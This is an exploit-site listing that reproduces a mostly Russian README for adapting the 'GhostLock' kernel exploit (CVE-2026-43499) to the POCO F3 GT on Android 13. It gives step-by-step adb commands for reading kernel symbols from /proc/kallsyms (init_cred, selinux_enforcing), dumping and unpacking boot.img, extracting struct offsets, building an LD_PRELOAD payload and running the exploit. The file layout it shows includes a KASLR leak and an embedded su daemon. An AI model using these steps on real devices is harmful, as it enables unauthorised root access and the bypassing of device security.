Sploitus

Exploit for ghostlock-aresin

kitploit · 2026-09-03

Exploit Code

MARKDOWN188 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NOTHINGFUMO-GHOSTLOCK-ARESIN
# GhostLock (CVE-2026-43499) — POCO F3 GT (aresin)

Эксплойт перезаписи physmap только данными для MediaTek Dimensity 1200 (MT6893). Ядро: `4.14.186-android13` / MIUI V14.0.4.0.TKJCNXM.

## ⚠️ Предварительные требования

  * **Устройство** : POCO F3 GT / Redmi K40 Gaming Edition (кодовое имя: aresin)
  * **Чип** : MediaTek Dimensity 1200 (MT6893)
  * **Система** : Android 13 / MIUI 14 (V14.0.4.0.TKJCNXM)
  * **Ядро** : 4.14.186-g0dc1d312efb3
  * **Разблокировка BL не требуется** — достаточно shell-прав через Shizuku (беспроводная отладка) для запуска
  * Требуется **Shizuku** или **adb shell** для выполнения arm64-бинарника
  * После запуска **устройство перезагрузится** (kernel panic — ожидаемое поведение). Если нужно сохранить логи, заранее подключите adb logcat



## ✅ Проверка условий уязвимости

Условие| Статус| Описание  
---|---|---  
Версия ядра| ✅| 4.14.186 находится в диапазоне 2.6.39 ~ 7.0.4  
CONFIG_FUTEX_PI| ✅| Включён (y)  
CONFIG_RT_MUTEXES| ✅| Включён (y)  
Архитектура| ✅| aarch64  
CONFIG_PREEMPT| ✅| Включён (y)  
CONFIG_RANDOMIZE_KSTACK| ❓| Требуется проверка (4.14 может не поддерживать)  
  
## 🔧 Шаги адаптации

### Шаг 1: Извлечение адресов символов ядра

root@kitploit:~
    
    
    # 在设备上运行提取脚本
    adb push tools/extract_offsets.sh /data/local/tmp/
    adb shell sh /data/local/tmp/extract_offsets.sh
    adb pull /data/local/tmp/ghostlock_offsets.txt
    

Если есть root (Magisk), можно извлечь напрямую из `/proc/kallsyms`:

root@kitploit:~
    
    
    adb shell su -c "cat /proc/kallsyms | grep -E 'init_task|init_cred|entry_task|__per_cpu_offset|root_task_group|selinux_enforcing'"
    

### Шаг 2: Извлечение vmlinux и анализ смещений структур

#### Метод A: Извлечение vmlinux из boot.img

root@kitploit:~
    
    
    # 1. 获取 boot.img
    adb shell "ls /dev/block/by-name/boot"
    adb shell "dd if=/dev/block/by-name/boot of=/data/local/tmp/boot.img"
    adb pull /data/local/tmp/boot.img
    
    # 2. 用 magiskboot 解包
    magiskboot unpack boot.img
    # 产物: kernel (压缩的 vmlinux)
    
    # 3. 解压 vmlinux
    magiskboot decompress kernel vmlinux.elf
    
    # 4. 用 pahole 提取结构体偏移
    pahole --structs=rt_mutex_waiter vmlinux.elf
    pahole --structs=task_struct vmlinux.elf | grep -A2 -E "usage|prio|normal_prio|pi_lock|pi_waiters|pi_top_task|pi_blocked_on|cred|real_cred|task_group"
    

#### Метод B: Анализ с помощью Ghidra

  1. Откройте `vmlinux.elf` в Ghidra
  2. Найдите структуры `rt_mutex_waiter` и `task_struct`
  3. Запишите смещения всех полей



### Шаг 3: Заполнение target.h

Заполните извлечённые смещения во всех позициях `0xTODO` в `target.h`.

Таблица соответствия ключевых смещений:

### Шаг 4: Сборка

root@kitploit:~
    
    
    # 需要 Android NDK r27+
    export NDK_ROOT=/path/to/android-ndk-r27
    # 或使用 Android Studio 中的 NDK
    export NDK_ROOT=$HOME/Library/Android/sdk/ndk/27.0.12077973
    
    # 编译
    make preload TARGET_HEADER=target.h
    
    # 产物: build/bin/preload.so
    

### Шаг 5: Тестирование

root@kitploit:~
    
    
    # 推送到设备
    adb push build/bin/preload.so /data/local/tmp/
    adb push build/bin/ghostlock_aresin /data/local/tmp/ 2>/dev/null || true
    
    # 运行
    adb shell LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin
    
    # 或用 Shizuku
    # 在 Shizuku 中执行: LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin
    

## 📊 Ожидаемое поведение

## ⚠️ Важные замечания

### Отличия ядер 4.14.x vs 6.1.x

  1. **Структура rt_mutex_waiter отличается** :

     * В 4.14.x используется `plist_node` вместо `rb_node`
     * Смещения полей полностью отличаются
     * Поля `deadline` / `ww_ctx` могут отсутствовать
  2. **Компоновка task_struct отличается** :

     * Смещения `pi_blocked_on`, `pi_lock` и других полей в 4.14.x отличаются от 6.1.x
     * Поля, связанные с `uclamp`, могут отсутствовать в 4.14.x
  3. **Реализация KASLR отличается** :

     * Способ рандомизации KASLR в 4.14.x отличается от 6.1.x
     * Метод утечки может потребовать корректировки
  4. **Отличия в безопасности Android 13 vs 14** :

     * Политика SELinux может отличаться
     * Ограничения доступа к `/proc/self/pagemap` могут отличаться



### Проверка смещений

После заполнения смещений рекомендуется перекрёстная проверка в Ghidra:

  1. Откройте vmlinux.elf в Ghidra
  2. Перейдите к структуре `rt_mutex_waiter`
  3. Убедитесь, что смещения каждого поля совпадают с `target.h`



## 📁 Структура файлов

root@kitploit:~
    
    
    ghostlock-aresin/
    ├── README.md              # 本文件
    ├── Makefile               # 编译脚本
    ├── target.h               # 目标设备偏移定义 (需要填写)
    ├── src/                   # 源码
    │   ├── main.c             # 主利用逻辑
    │   ├── util.c             # 工具函数
    │   ├── slide.c            # KASLR 泄漏
    │   ├── fops.c             # 文件操作
    │   ├── pipe.c             # pipe 相关
    │   ├── preload.c          # LD_PRELOAD 入口
    │   ├── su_daemon.c        # su 守护进程
    │   ├── su_blob.S          # su 二进制嵌入
    │   ├── standalone.c       # 独立运行
    │   ├── common.h           # 公共定义
    │   └── offset.h           # 偏移计算
    ├── tools/
    │   └── extract_offsets.sh # 偏移提取脚本
    └── build/
        ├── bin/               # 编译产物
        └── embed/             # 嵌入文件
    

## 📜 Лицензия

Только для исследовательских и образовательных целей. Используйте на свой страх и риск.

**Original PoC** : NebuSec/CyberMeowfia → `IonStack/CVE-2026-43499/exploit/` **Adapted for** : POCO F3 GT (aresin) by ghostlock-aresin